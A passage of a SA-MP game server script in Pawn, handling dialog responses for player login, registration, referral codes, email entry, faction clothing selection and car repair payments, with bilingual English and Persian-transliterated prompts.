          WP_Hash(passer, sizeof(passer), inputtext);
		  if(!strcmp(passer,PINFO[playerid][pKey]))
		  {
			 LoadAccount(playerid);
		  }
		  else
		  {
			 new loginstring[128];
			 format(loginstring,sizeof(loginstring),"Password doesn't match your name!\n\nPlease reEnter your password below to login into your account.");
			 ShowPlayerDialog(playerid,12347,DIALOG_STYLE_PASSWORD,"Login",loginstring,"Login","Exit");
			 gPlayerLogTries[playerid] ++;
			 if(gPlayerLogTries[playerid] >= 5) {
	         format(ahmadzoghi, sizeof(ahmadzoghi), "{ffffff}Player %s entered wrong password 5 times on login (Kicked)",RPName(playerid));
             AdminWarn(ahmadzoghi);
			 SCM(playerid, COLOR_LIGHTRED,"You have been kicked, reason: Incorrect Password 5/5");
			 KickPlayerMessage(playerid);
			 }
			 return 1;
		  }
		  }
		  else
		  {
		  KickWithMessage(playerid,COLOR_LIGHTRED,"You have been kicked.");
		  }
	   }
	   if(dialogid == 12345)
	   {
		  if(response)
		  {
                if(FindBadSign(inputtext))
               {
						TextDrawHideForPlayer(playerid, WelcomeMsg);
						TextDrawHideForPlayer(playerid, SvMsg);
						TextDrawHideForPlayer(playerid, RPGMsg);
                        ShowPlayerDialog(playerid,12345,DIALOG_STYLE_PASSWORD,"Account Registration","Invalid password entered for register.\nPlease register an account by entering your desired password below.","Register","Quit");
                        return 1;
                }
			 if(strlen(inputtext) >= 101)
			 {
				SCM(playerid,COLOR_SINA3,"Invalid password. Type a password between 2 and 100 characters.");
				new regstring[128];
				new regname[64];
				GetPlayerName(playerid,regname,sizeof(regname));
					TextDrawHideForPlayer(playerid, WelcomeMsg);
					TextDrawHideForPlayer(playerid, SvMsg);
					TextDrawHideForPlayer(playerid, RPGMsg);
				format(regstring,sizeof(regstring),"{BECBFC}Welcome to the server, {95A3FF}%s{BECBFC}! \n\nPlease register an account by entering your desired password below.",regname);
				ShowPlayerDialog(playerid,12345,DIALOG_STYLE_PASSWORD,"Account Registration",regstring,"Register","Quit");
				return 1;
			}
			if(strlen(inputtext) >= 2)
			{
				CreateAccount(playerid,inputtext);
			}
			else
			 {
				new regstring[128];
				new regname[64];
				GetPlayerName(playerid,regname,sizeof(regname));
				format(regstring,sizeof(regstring),"{BECBFC}Welcome to the server, {95A3FF}%s{BECBFC}! \n\nPlease register an account by entering your desired password below.",regname);
				ShowPlayerDialog(playerid,12345,DIALOG_STYLE_PASSWORD,"Account Registration",regstring,"Register","Quit");
					TextDrawHideForPlayer(playerid, WelcomeMsg);
					TextDrawHideForPlayer(playerid, SvMsg);
					TextDrawHideForPlayer(playerid, RPGMsg);
			 }
		  }
		  else
		  {
			 KickWithMessage(playerid,COLOR_LIGHTRED,"You have been kicked.");
		  }
	   }
	   if(dialogid == 61)
	   {
		  if(response)
		  {
			 if(listitem == 0)
			 {
				 SetPlayerFightingStyle (playerid, FIGHT_STYLE_ELBOW);
				 SCM(playerid, COLOR_CRS1, "INFO: You known now a new fight style, elbow.");
				 PlayerInfo[playerid][pFSS] = 1;
				   SaveKonVal(playerid, "pFSS", 1);
			 }
			 if(listitem == 1)
			 {
				 SetPlayerFightingStyle (playerid, FIGHT_STYLE_BOXING);
				 SCM(playerid, COLOR_CRS1, "INFO: You known now a new fight style, boxing.");
				 PlayerInfo[playerid][pFSS] = 2;
				   SaveKonVal(playerid, "pFSS", 2);
			 }
			 if(listitem == 2)
			 {
				 SetPlayerFightingStyle (playerid, FIGHT_STYLE_GRABKICK);
				 SCM(playerid, COLOR_CRS1, "INFO: You known now a new fight style, grabkick.");
				 PlayerInfo[playerid][pFSS] = 3;
				   SaveKonVal(playerid, "pFSS", 3);
			 }
			 if(listitem == 3)
			 {
				 SetPlayerFightingStyle (playerid, FIGHT_STYLE_KNEEHEAD);
				 SCM(playerid, COLOR_CRS1, "INFO: You known now a new fight style, kneehead.");
				 PlayerInfo[playerid][pFSS] = 4;
				   SaveKonVal(playerid, "pFSS", 4);
			 }
			 if(listitem == 4)
			 {
				 SetPlayerFightingStyle (playerid, FIGHT_STYLE_KUNGFU);
				 SCM(playerid, COLOR_CRS1, "INFO: You known now a new fight style, kungfu.");
				 PlayerInfo[playerid][pFSS] = 5;
				   SaveKonVal(playerid, "pFSS", 5);
			 }
			 if(listitem == 5)
			 {
				 SetPlayerFightingStyle (playerid, FIGHT_STYLE_NORMAL);
				 SCM(playerid, COLOR_CRS1, "INFO: You known now a new fight style, normal.");
				 PlayerInfo[playerid][pFSS] = 0;
				   SaveKonVal(playerid, "pFSS", 0);
			 }
		  }
	   }
	   if(dialogid == 418)
	   {
		  if(response)
		  {
			  PlayerInfo[playerid][pLanguage] = 1;
			  SaveKonVal(playerid, "pLanguage", 1);
			  ShowPlayerDialog(playerid, 985, DIALOG_STYLE_MSGBOX,"Ettelaate moarrefi","{FF0000}Agar shoma tavassote shakhse khassi be inja moarrefi shodid, code e moarrefe oon shakhs ra darid?","Bale","Kheyr");
			  SetPlayerVirtualWorld(playerid, (playerid + 1));
			  //SaveAccount(playerid);
			  return 1;
		  }
		  PlayerInfo[playerid][pLanguage] = 2;
		  SaveKonVal(playerid, "pLanguage", 2);
		  ShowPlayerDialog(playerid, 987, DIALOG_STYLE_MSGBOX,"Referral ID Information","{FF0000}If you invited here by a player, do you have their referral ID?","Yes","No");
		  SetPlayerVirtualWorld(playerid, (playerid + 1));
		  //SaveAccount(playerid);
		  return 1;
	   }
	   if(dialogid == 980)
	   {
		  if(!response)
		  {
			 if(PINFO[playerid][pLanguage] == 1) return ShowPlayerDialog(playerid,986,DIALOG_STYLE_INPUT,"Ettelaate moarrefi","{FF0000}Pas kasi shoma ro be inja moarrefi karde! Lotfan code e moarrefe aan shakhs ra vared konid.","OK","Bargasht");
			 else return ShowPlayerDialog(playerid, 988, DIALOG_STYLE_INPUT, "Referral ID Information", "{FF0000}So you invited by a player, please enter their referral ID.\n* Referral ID is invalid.", "OK", "Back");
		  }
		  PINFO[playerid][pReferral] = ReferralID[playerid];
		  SaveKonVal(playerid, "pReferral", ReferralID[playerid]);
		  if(PINFO[playerid][pLanguage] == 1) return ShowPlayerDialog(playerid, 700, DIALOG_STYLE_MSGBOX,"Jensiyate character", "Lotfan jensiyate charactere khod ra entekhab konid, in jensiyat badan az tarighe /shop ghabele taghir ast.","Mard", "Zan");
		  else return ShowPlayerDialog(playerid, 720, DIALOG_STYLE_MSGBOX,"Character Gender", "Please select your character's gender, your gender is changeable by /shop.","Male", "Female");
	   }
	   if(dialogid == 985)
	   {
		  if(!response) return ShowPlayerDialog(playerid, 700, DIALOG_STYLE_MSGBOX,"Jensiyate character", "Lotfan jensiyate charactere khod ra entekhab konid, in jensiyat badan az tarighe /shop ghabele taghir ast.","Mard", "Zan");
		  ShowPlayerDialog(playerid,986,DIALOG_STYLE_INPUT,"Etelaat moarefi","{FF0000}Pas kasi shoma ro be inja moarrefi karde! Lotfan code e moarrefe aan shakhs ra vared konid.","OK","Bargasht");
	   }
	   if(dialogid == 986)
	   {
		  if(!response)
		  {
		   ShowPlayerDialog(playerid, 985, DIALOG_STYLE_MSGBOX,"Ettelaate moarefi","{FF0000}Agar shoma tavassote shakhse khassi be inja moarrefi shodid, code e moarrefe oon shakhs ra darid?","Bale","Kheir");
		   return 1;
		   }
		   if(response)
		   {
		  new rId = strval(inputtext);//lol
		  if(rId < 1) return ShowPlayerDialog(playerid,986,DIALOG_STYLE_INPUT,"Ettelaate moarefi","{FF0000}Pas kasi shoma ro be inja moarrefi karde! Lotfan code e moarrefe aan shakhs ra vared konid.\n* Code e moarrefe vared shode sahih nemibashad.","Sabt","Bargasht");
		  SearchForReferral(playerid, rId, 1);
		  return 1;
		  }
		  if(!strlen(inputtext)) {
		   ShowPlayerDialog(playerid,986,DIALOG_STYLE_INPUT,"Ettelaate moarefi","{FF0000}Pas kasi shoma ro be inja moarrefi karde! Lotfan code e moarrefe aan shakhs ra vared konid.","OK","Bargasht");
		   return 1;
		   }
	   }
	   if(dialogid == 987)
	   {
		  if(!response) return ShowPlayerDialog(playerid, 720, DIALOG_STYLE_MSGBOX,"Character Gender", "Please select your character's gender, your gender is changeable by /shop.","Male", "Female");
		  ShowPlayerDialog(playerid, 988, DIALOG_STYLE_INPUT, "Referral ID Information", "{FF0000}So you invited by a player, please enter their referral ID.", "OK", "Back");
	   }
	   if(dialogid == 988)
	   {
		  if(!response) {
		   ShowPlayerDialog(playerid, 987, DIALOG_STYLE_MSGBOX,"Referral ID Information","{FF0000}If you invited here by a player, do you have their referral ID?","Yes","No");
		   return 1;
		   }
		   if(response)
		   {
		  new rID = strval(inputtext);
		  if(rID < 1) return ShowPlayerDialog(playerid, 988, DIALOG_STYLE_INPUT, "Referral ID Information", "{FF0000}So you invited by a player, please enter their referral ID.\n* Referral ID is invalid.", "OK", "Back");
		  SearchForReferral(playerid, rID, 2);
		  return 1;
		  }
		  if(!strlen(inputtext)) {
		   ShowPlayerDialog(playerid, 988, DIALOG_STYLE_INPUT, "Referral ID Information", "{FF0000}So you invited by a player, please enter their referral ID.", "OK", "Back");
		   return 1;
		   }
	   }
	   if(dialogid == 700)
	   {
		  if(response)
		  {
			 PlayerInfo[playerid][pSex] = 1;
			 SaveKonVal(playerid, "pSex", 1);
			 //SetPlayerSkin(playerid, 170);
			 PlayerInfo[playerid][cSkin] = 170;
			 SaveKonVal(playerid, "cSkin", 170);
			 ShowPlayerDialog(playerid,7856,DIALOG_STYLE_INPUT,"Email","Baraye ertebate servere ma ba shoma va hamchenin faramooshiye ramze oboor ya pin code, lotfan email ra dorost vared konid.","Bashe","");
			 return 1;
		  }
		  PlayerInfo[playerid][pSex] = 2;
		  //SaveKonVal(playerid, "pSex", 2);
		  SetPlayerSkin(playerid, 192);
		  PlayerInfo[playerid][cSkin] = 91;
		  SaveKonVal(playerid, "cSkin", 91);
		  ShowPlayerDialog(playerid,7856,DIALOG_STYLE_INPUT,"Email","Baraye ertebate servere ma ba shoma va hamchenin faramooshiye ramze oboor ya pin code, lotfan email ra dorost vared konid.","Bashe","");
		  return 1;
	   }
	   if(dialogid == 7856)
	   {
		  new aCount,dotCount,atCount,numCount;//by Sina :D
		  for(new i = 0; i < strlen(inputtext); i++)
		  {
		  switch(inputtext[i])
		  {
			 case 0x30..0x39: numCount++;
			 case 0x41..0x5A: aCount++;
			 case 0x61..0x7A: aCount++;
			 case '.': dotCount++;
			 case '@': atCount++;
		  }
		  }
		if(response && strlen(inputtext) >= 5 && (aCount >= 1 || numCount >= 1) && atCount == 1 && dotCount >= 1)
		{
		if(!IsValidMail(inputtext))return ShowPlayerDialog(playerid,7856,DIALOG_STYLE_INPUT,"Email","Baraye ertebate servere ma ba shoma va hamchenin faramooshiye ramze oboor ya pin code, lotfan email ra dorost vared konid.\n{FF0000}Emaile vared shode sahih nemibashad.","Bashe","");
		new strs[200];
		mysql_real_escape_string(inputtext, strs, handle, 200);
		strmid(PlayerInfo[playerid][pEmail],strs,0,sizeof(strs),128);
		SaveKonStr(playerid, "pEmail", PINFO[playerid][pEmail]);
		format(strs,200,"Khob emaile shoma '%s' hastesh.",inputtext);
		SCM(playerid,COLOR_YELLOW,strs);
		PINFO[playerid][pReg] = 1;
		SaveKonVal(playerid, "pReg", 1);

		 /*  new rand;
			rand = random(sizeof(CarSpawn));
		   new carid;


			 carid = CreateVehicle(462, CarSpawn[rand][0], CarSpawn[rand][1], CarSpawn[rand][2], 89.143226, 1, 1,-1);
				BedeMashin(playerid,462);

			 PlayerInfo[playerid][pCar_1] = carid;
			 SaveKonVal(playerid, "pCar_1", carid);

			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;


			 SetVehicleParamsEx(PlayerInfo[playerid][pCar_1], 0, 0, 0, 1, 0, 0, 0);*/

		//SaveAccount(playerid);
		ShowPlayerDialog(playerid, 710, DIALOG_STYLE_MSGBOX,"Ettelaate sabte nam", "Khob, marahele sabte nam be payan resid.\nShoma az hala yeki az bazikonane servere ma hastid.","Bashe", "");
		}
		else
		{
		ShowPlayerDialog(playerid,7856,DIALOG_STYLE_INPUT,"Email","Baraye ertebate servere ma ba shoma va hamchenin faramooshiye ramze oboor ya pin code, lotfan email ra dorost vared konid.\n{FF0000}Emaile vared shode sahih nemibashad.","Bashe","");
		}
	   }
	   if(dialogid == 7857)
	   {
		  new aCount,dotCount,atCount,numCount;//by Sina :D
		  for(new i = 0; i < strlen(inputtext); i++)
		  {
		  switch(inputtext[i])
		  {
			 case 0x30..0x39: numCount++;
			 case 0x41..0x5A: aCount++;
			 case 0x61..0x7A: aCount++;
			 case '.': dotCount++;
			 case '@': atCount++;
		  }
		  }
		if(response && strlen(inputtext) >= 5 && (aCount >= 1 || numCount >= 1) && atCount == 1 && dotCount >= 1)
		{
		if(!IsValidMail(inputtext))return ShowPlayerDialog(playerid,7857,DIALOG_STYLE_INPUT,"Email","For contacting you and our server and also forgetting password or pin code, please enter your email address correct.\n{FF0000}Entered email address is invalid.","Okay","");
		new strs[200];
		mysql_real_escape_string(inputtext, strs, handle, 200);
		strmid(PlayerInfo[playerid][pEmail],strs,0,sizeof(strs),128);
		SaveKonStr(playerid, "pEmail", PINFO[playerid][pEmail]);
		format(strs,200,"Your email is '%s'.",inputtext);
		SCM(playerid,COLOR_YELLOW,strs);
		PINFO[playerid][pReg] = 1;
		SaveKonVal(playerid, "pReg", 1);
		//SaveAccount(playerid);
		ShowPlayerDialog(playerid, 723, DIALOG_STYLE_MSGBOX,"Registration Information", "So, registration steps finished.\nYou are a player from now.","Next", "");
		}
		else
		{
		ShowPlayerDialog(playerid,7857,DIALOG_STYLE_INPUT,"Email","For contacting you and our server and also forgetting password or pin code, please enter your email address correct.\n{FF0000}Entered email address is invalid.","Okay","");
		}
	   }
	   if(dialogid == 720)
	   {
		  if(response)
		  {
			 PlayerInfo[playerid][pSex] = 1;
			 SaveKonVal(playerid, "pSex", 1);
			 //SetPlayerSkin(playerid, 170);
			 PlayerInfo[playerid][cSkin] = 170;
			 SaveKonVal(playerid, "cSkin", 170);
			 ShowPlayerDialog(playerid,7857,DIALOG_STYLE_INPUT,"Email","For contacting you and our server and also forgetting password or pin code, please enter your email address correct.","Okay","");
			 return 1;
		  }
		  PlayerInfo[playerid][pSex] = 2;
		  SaveKonVal(playerid, "pSex", 2);
		  //SetPlayerSkin(playerid, 192);
		  PlayerInfo[playerid][cSkin] = 91;
		  SaveKonVal(playerid, "cSkin", 91);
		  ShowPlayerDialog(playerid,7857,DIALOG_STYLE_INPUT,"Email","For contacting you and our server and also forgetting password or pin code, please enter your email address correct.","Okay","");
		  return 1;
	   }
	   if(dialogid == 710)
	   {
		  if(response)
		  {
			 //SaveAccount(playerid);
			 TutTime[playerid] = 1;
		  }
	   }
	   if(dialogid == 723)
	   {
		  if(response)
		  {
			 //SaveAccount(playerid);
			 TutTime1[playerid] = 1;
		  }
	   }
	   if(dialogid == 427)// Faction skins
	   {
		  if(response)
		  {
			 switch (SelectCharID[playerid])
			 {
			 case 1: //Police Force
			 {

				if(SelectCharPlace[playerid] == 1) {  SelectCharPlace[playerid] = 2; Skiner[playerid] = 280;  }
				else if(SelectCharPlace[playerid] == 2) {SelectCharPlace[playerid] = 3; Skiner[playerid] = 284;  }
				else if(SelectCharPlace[playerid] == 3) {SelectCharPlace[playerid] = 4; Skiner[playerid] = 282;  }
				else if(SelectCharPlace[playerid] == 4) { SelectCharPlace[playerid] = 5; Skiner[playerid] = 281;  }
				else if(SelectCharPlace[playerid] == 5) { SelectCharPlace[playerid] = 6;  Skiner[playerid] = 283;  }
				else if(SelectCharPlace[playerid] == 6) { SelectCharPlace[playerid] = 7;  Skiner[playerid] = 288;  }
				else if(SelectCharPlace[playerid] == 7) { SelectCharPlace[playerid] = 8; Skiner[playerid] = 306;   }
				else if(SelectCharPlace[playerid] == 8) { SelectCharPlace[playerid] = 1; Skiner[playerid] = 71;   }
					else {Skiner[playerid] = 9999;}
					if(Skiner[playerid] != 9999) {
					SetPlayerSkin(playerid, Skiner[playerid]);
					ChosenSkin[playerid] = Skiner[playerid];
					}
			 }
			 case 2: //DEA/ATF
			 {
				if(SelectCharPlace[playerid] == 1) {  SelectCharPlace[playerid] = 2; Skiner[playerid] = 163;  }
				else if(SelectCharPlace[playerid] == 2) {SelectCharPlace[playerid] = 3; Skiner[playerid] = 164;  }
				else if(SelectCharPlace[playerid] == 3) {SelectCharPlace[playerid] = 4; Skiner[playerid] = 286;  }
				else if(SelectCharPlace[playerid] == 4) { SelectCharPlace[playerid] = 5; Skiner[playerid] = 309;  }
				else if(SelectCharPlace[playerid] == 5) { SelectCharPlace[playerid] = 1;  Skiner[playerid] = 166;  }
					else {Skiner[playerid] = 9999;}
					if(Skiner[playerid] != 9999) {
					SetPlayerSkin(playerid, Skiner[playerid]);
					ChosenSkin[playerid] = Skiner[playerid];
					}
			 }
			 case 3: //National Guard
			 {

				if(SelectCharPlace[playerid] == 1) {  SelectCharPlace[playerid] = 2; Skiner[playerid] = 307;  }
				else if(SelectCharPlace[playerid] == 2) {SelectCharPlace[playerid] = 1; Skiner[playerid] = 285;  }

					else {Skiner[playerid] = 9999;}
					if(Skiner[playerid] != 9999) {
					SetPlayerSkin(playerid, Skiner[playerid]);
					ChosenSkin[playerid] = Skiner[playerid];
					}
			 }
			 case 4: //Fire&Ambulance
			 {
				if(SelectCharPlace[playerid] == 1) {  SelectCharPlace[playerid] = 2; Skiner[playerid] = 275;  }
				else if(SelectCharPlace[playerid] == 2) {SelectCharPlace[playerid] = 3; Skiner[playerid] = 276;  }
				else if(SelectCharPlace[playerid] == 3) {SelectCharPlace[playerid] = 4; Skiner[playerid] = 277;  }
				else if(SelectCharPlace[playerid] == 4) { SelectCharPlace[playerid] = 5; Skiner[playerid] = 278;  }
				else if(SelectCharPlace[playerid] == 5) { SelectCharPlace[playerid] = 6;  Skiner[playerid] = 279;  }
				else if(SelectCharPlace[playerid] == 6) { SelectCharPlace[playerid] = 7;  Skiner[playerid] = 308;  }
				else if(SelectCharPlace[playerid] == 7) { SelectCharPlace[playerid] = 8; Skiner[playerid] = 141;   }
				else if(SelectCharPlace[playerid] == 8) { SelectCharPlace[playerid] = 1; Skiner[playerid] = 274;   }
					else {Skiner[playerid] = 9999;}
					if(Skiner[playerid] != 9999) {
					SetPlayerSkin(playerid, Skiner[playerid]);
					ChosenSkin[playerid] = Skiner[playerid];
					}
			 }
			 case 5: //Da Nang Boys
			 {
				if(SelectCharPlace[playerid] == 1) {  SelectCharPlace[playerid] = 2; Skiner[playerid] = 291;  }
				else if(SelectCharPlace[playerid] == 2) {SelectCharPlace[playerid] = 3; Skiner[playerid] = 206;  }
				else if(SelectCharPlace[playerid] == 3) {SelectCharPlace[playerid] = 4; Skiner[playerid] = 59;  }
				else if(SelectCharPlace[playerid] == 4) { SelectCharPlace[playerid] = 5; Skiner[playerid] = 123;  }
				else if(SelectCharPlace[playerid] == 5) { SelectCharPlace[playerid] = 6;  Skiner[playerid] = 214;  }
				else if(SelectCharPlace[playerid] == 6) { SelectCharPlace[playerid] = 1;  Skiner[playerid] = 121;  }
					else {Skiner[playerid] = 9999;}
					if(Skiner[playerid] != 9999) {
					SetPlayerSkin(playerid, Skiner[playerid]);
					ChosenSkin[playerid] = Skiner[playerid];
					}
			 }
			 case 6: //Triads family
			 {
				if(SelectCharPlace[playerid] == 1) {  SelectCharPlace[playerid] = 2; Skiner[playerid] = 290;  }
				else if(SelectCharPlace[playerid] == 2) {SelectCharPlace[playerid] = 3; Skiner[playerid] = 120;  }
				else if(SelectCharPlace[playerid] == 3) {SelectCharPlace[playerid] = 4; Skiner[playerid] = 98;  }
				else if(SelectCharPlace[playerid] == 4) { SelectCharPlace[playerid] = 5; Skiner[playerid] = 46;  }
				else if(SelectCharPlace[playerid] == 5) { SelectCharPlace[playerid] = 6;  Skiner[playerid] = 233;  }
				else if(SelectCharPlace[playerid] == 6) { SelectCharPlace[playerid] = 1;  Skiner[playerid] = 118;  }
					else {Skiner[playerid] = 9999;}
					if(Skiner[playerid] != 9999) {
					SetPlayerSkin(playerid, Skiner[playerid]);
					ChosenSkin[playerid] = Skiner[playerid];
					}
			 }
			 case 8: //Hitman Agency
			 {
				if(SelectCharPlace[playerid] == 1) {  SelectCharPlace[playerid] = 2; Skiner[playerid] = 117;  }
				else if(SelectCharPlace[playerid] == 2) {SelectCharPlace[playerid] = 3; Skiner[playerid] = 118;  }
				else if(SelectCharPlace[playerid] == 3) {SelectCharPlace[playerid] = 4; Skiner[playerid] = 120;  }
				else if(SelectCharPlace[playerid] == 4) { SelectCharPlace[playerid] = 5; Skiner[playerid] = 240;  }
				else if(SelectCharPlace[playerid] == 5) { SelectCharPlace[playerid] = 6;  Skiner[playerid] = 93;  }
				else if(SelectCharPlace[playerid] == 6) { SelectCharPlace[playerid] = 1;  Skiner[playerid] = 186;  }
					else {Skiner[playerid] = 9999;}
					if(Skiner[playerid] != 9999) {
					SetPlayerSkin(playerid, Skiner[playerid]);
					ChosenSkin[playerid] = Skiner[playerid];
					}
			 }
			 case 9: //News Reporters
			 {
				if(SelectCharPlace[playerid] == 1) {  SelectCharPlace[playerid] = 2; Skiner[playerid] = 187;  }
				else if(SelectCharPlace[playerid] == 2) {SelectCharPlace[playerid] = 3; Skiner[playerid] = 148;  }
				else if(SelectCharPlace[playerid] == 3) {SelectCharPlace[playerid] = 1; Skiner[playerid] = 188;  }
					else {Skiner[playerid] = 9999;}
					if(Skiner[playerid] != 9999) {
					SetPlayerSkin(playerid, Skiner[playerid]);
					ChosenSkin[playerid] = Skiner[playerid];
					}

			 }
			 case 10: //Taxi Cab Company
			 {
				if(SelectCharPlace[playerid] == 1) {  SelectCharPlace[playerid] = 2; Skiner[playerid] = 261;  }
				else if(SelectCharPlace[playerid] == 2) {SelectCharPlace[playerid] = 3; Skiner[playerid] = 253;  }
				else if(SelectCharPlace[playerid] == 3) {SelectCharPlace[playerid] = 4; Skiner[playerid] = 56;  }
				else if(SelectCharPlace[playerid] == 4) { SelectCharPlace[playerid] = 5; Skiner[playerid] = 255;  }
					else {Skiner[playerid] = 9999;}
					if(Skiner[playerid] != 9999) {
					SetPlayerSkin(playerid, Skiner[playerid]);
					ChosenSkin[playerid] = Skiner[playerid];
					}
			 }
			 case 11: //Driving/Flying School
			 {
				if(SelectCharPlace[playerid] == 1) {  SelectCharPlace[playerid] = 2; Skiner[playerid] = 60;  }
				else if(SelectCharPlace[playerid] == 2) {SelectCharPlace[playerid] = 3; Skiner[playerid] = 259;  }
				else if(SelectCharPlace[playerid] == 3) {SelectCharPlace[playerid] = 4; Skiner[playerid] = 194;  }
				else if(SelectCharPlace[playerid] == 4) { SelectCharPlace[playerid] = 1; Skiner[playerid] = 153;  }
					else {Skiner[playerid] = 9999;}
					if(Skiner[playerid] != 9999) {
					SetPlayerSkin(playerid, Skiner[playerid]);
					ChosenSkin[playerid] = Skiner[playerid];
					}
			 }
			 case 12: //Grove Street Family
			 {
				if(SelectCharPlace[playerid] == 1) {  SelectCharPlace[playerid] = 2; Skiner[playerid] = 107;  }
				else if(SelectCharPlace[playerid] == 2) {SelectCharPlace[playerid] = 3; Skiner[playerid] = 105;  }
				else if(SelectCharPlace[playerid] == 3) {SelectCharPlace[playerid] = 4; Skiner[playerid] = 292;  }
				else if(SelectCharPlace[playerid] == 4) { SelectCharPlace[playerid] = 5; Skiner[playerid] = 86;  }
				else if(SelectCharPlace[playerid] == 5) { SelectCharPlace[playerid] = 6;  Skiner[playerid] = 269;  }
				else if(SelectCharPlace[playerid] == 6) { SelectCharPlace[playerid] = 7;  Skiner[playerid] = 65;  }
				else if(SelectCharPlace[playerid] == 7) { SelectCharPlace[playerid] = 1; Skiner[playerid] = 106;   }
					else {Skiner[playerid] = 9999;}
					if(Skiner[playerid] != 9999) {
					SetPlayerSkin(playerid, Skiner[playerid]);
					ChosenSkin[playerid] = Skiner[playerid];
					}
			 }
			 case 13: //Vagos Family
			 {
				if(SelectCharPlace[playerid] == 1) {  SelectCharPlace[playerid] = 2; Skiner[playerid] = 127;  }
				else if(SelectCharPlace[playerid] == 2) {SelectCharPlace[playerid] = 3; Skiner[playerid] =272;  }
				else if(SelectCharPlace[playerid] == 3) {SelectCharPlace[playerid] = 4; Skiner[playerid] = 112;  }
				else if(SelectCharPlace[playerid] == 4) { SelectCharPlace[playerid] = 5; Skiner[playerid] = 124;  }
				else if(SelectCharPlace[playerid] == 5) { SelectCharPlace[playerid] = 6;  Skiner[playerid] = 125;  }
				else if(SelectCharPlace[playerid] == 6) { SelectCharPlace[playerid] = 7;  Skiner[playerid] = 108;  }
				else if(SelectCharPlace[playerid] == 7) { SelectCharPlace[playerid] = 8; Skiner[playerid] = 214;   }
				else if(SelectCharPlace[playerid] == 8) { SelectCharPlace[playerid] = 1; Skiner[playerid] = 122;   }
					else {Skiner[playerid] = 9999;}
					if(Skiner[playerid] != 9999) {
					SetPlayerSkin(playerid, Skiner[playerid]);
					ChosenSkin[playerid] = Skiner[playerid];
					}
			 }
			 case 14: //Paterno Family
			 {
				if(SelectCharPlace[playerid] == 1) {  SelectCharPlace[playerid] = 2; Skiner[playerid] = 103;  }
				else if(SelectCharPlace[playerid] == 2) {SelectCharPlace[playerid] = 3; Skiner[playerid] = 104;  }
				else if(SelectCharPlace[playerid] == 3) {SelectCharPlace[playerid] = 4; Skiner[playerid] = 296;  }
				else if(SelectCharPlace[playerid] == 4) { SelectCharPlace[playerid] = 5; Skiner[playerid] = 223;  }
				else if(SelectCharPlace[playerid] == 5) { SelectCharPlace[playerid] = 6;  Skiner[playerid] = 298;  }
				else if(SelectCharPlace[playerid] == 6) { SelectCharPlace[playerid] = 1;  Skiner[playerid] = 102;  }
					else {Skiner[playerid] = 9999;}
					if(Skiner[playerid] != 9999) {
					SetPlayerSkin(playerid, Skiner[playerid]);
					ChosenSkin[playerid] = Skiner[playerid];
					}
			 }
			 case 15: //VLA
			 {
				if(SelectCharPlace[playerid] == 1) {  SelectCharPlace[playerid] = 2; Skiner[playerid] = 175;  }
				else if(SelectCharPlace[playerid] == 2) {SelectCharPlace[playerid] = 3; Skiner[playerid] = 114;  }
				else if(SelectCharPlace[playerid] == 3) {SelectCharPlace[playerid] = 4; Skiner[playerid] = 116;  }
				else if(SelectCharPlace[playerid] == 4) { SelectCharPlace[playerid] = 5; Skiner[playerid] = 174;  }
				else if(SelectCharPlace[playerid] == 5) { SelectCharPlace[playerid] = 6;  Skiner[playerid] = 115;  }
				else if(SelectCharPlace[playerid] == 6) { SelectCharPlace[playerid] = 7;  Skiner[playerid] = 214;  }
				else if(SelectCharPlace[playerid] == 7) { SelectCharPlace[playerid] = 1; Skiner[playerid] = 173;   }
					else {Skiner[playerid] = 9999;}
					if(Skiner[playerid] != 9999) {
					SetPlayerSkin(playerid, Skiner[playerid]);
					ChosenSkin[playerid] = Skiner[playerid];
					}
						  }
			 case 16: //TCC
			 {
				if(SelectCharPlace[playerid] == 1) {  SelectCharPlace[playerid] = 2; Skiner[playerid] = 50;  }
				else if(SelectCharPlace[playerid] == 2) {SelectCharPlace[playerid] = 3; Skiner[playerid] = 42;  }
				else if(SelectCharPlace[playerid] == 3) {SelectCharPlace[playerid] = 4; Skiner[playerid] = 225;  }
				else if(SelectCharPlace[playerid] == 4) { SelectCharPlace[playerid] = 1; Skiner[playerid] = 8;  }
					else {Skiner[playerid] = 9999;}
					if(Skiner[playerid] != 9999) {
					SetPlayerSkin(playerid, Skiner[playerid]);
					ChosenSkin[playerid] = Skiner[playerid];
					}
			 }
			 }
			 ShowPlayerDialog(playerid, 427, DIALOG_STYLE_MSGBOX,"Chlothes:", "Press 'Next' to select the clothes.\nPress 'Done' once you have chosen the clothes.","Next", "Done");
			 return 1;
		  }
		  PlayerInfo[playerid][fSkin] = ChosenSkin[playerid];
		  SaveKonVal(playerid, "fSkin", ChosenSkin[playerid]);
		  ResetPlayerKolang(playerid);
		  SetSpawnKol(playerid);
		  SpawnPlayer(playerid);
		  return 1;
	   }
	   if(dialogid == 401)
	   {
		  if(response)
		  {
			 if(PlayerInfo[playerid][pCar_1] != 0)
			 {
				if(GetPlayerVehicleID(playerid) == PlayerInfo[playerid][pCar_1])
				{
					   if(GetPlayerPool(playerid) >= 250)
					   {
						  GivePlayerPool(playerid, -250);
						//SaveAccount(playerid);
					   }
					   else
					   SCM(playerid, COLOR_RED, "You haven't enough cash with you.");
					   PlayerPlaySound(playerid, 1055, 0.0, 0.0, 10.0)
					   RemovePlayerFromVehicle(playerid);
					   return 1;
				}
				else
				SCM(playerid, COLOR_RED, "This isn't your car.");
				RemovePlayerFromVehicle(playerid);
				return 1;
			 }
		  }
		  else
		  {
			 RemovePlayerFromVehicle(playerid);
		  }
	   }
	   if(dialogid == 403)
	   {
		  if(response)
		  {
			 if(PlayerInfo[playerid][pCar_1] != 0)
			 {
				new carid = GetPlayerVehicleID(playerid);
					new r = PlayerInfo[MashinOwner[carid]][pVeh1];
				if(GetPlayerVehicleID(playerid) == PlayerInfo[playerid][pCar_1])
				{
					if (vInfo[r][cDestroyed] >= 1 && vInfo[r][cFixed] != 1)
					{
					new pricee = (vInfo[r][cPrice]*1/100);
					   if(GetPlayerPool(playerid) >= pricee)
					   {
						  OnPlayerCommandText(playerid, "/buyinsurance 1 1");
								vInfo[r][cFixed] = 1;
								SaveKonValV(r, "cFixed", 1);
						  GivePlayerPool(playerid, - pricee);
						  SCM(playerid, COLOR_CRS3, "With mechanical help you manage to fix your car completely.");
						  PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
						  //SaveAccount(MashinOwner[carid]);
						  return 1;
					   }
					   else
					   SCM(playerid, COLOR_RED, "You haven't enough cash with you.");
					   PlayerPlaySound(playerid, 1055, 0.0, 0.0, 10.0)
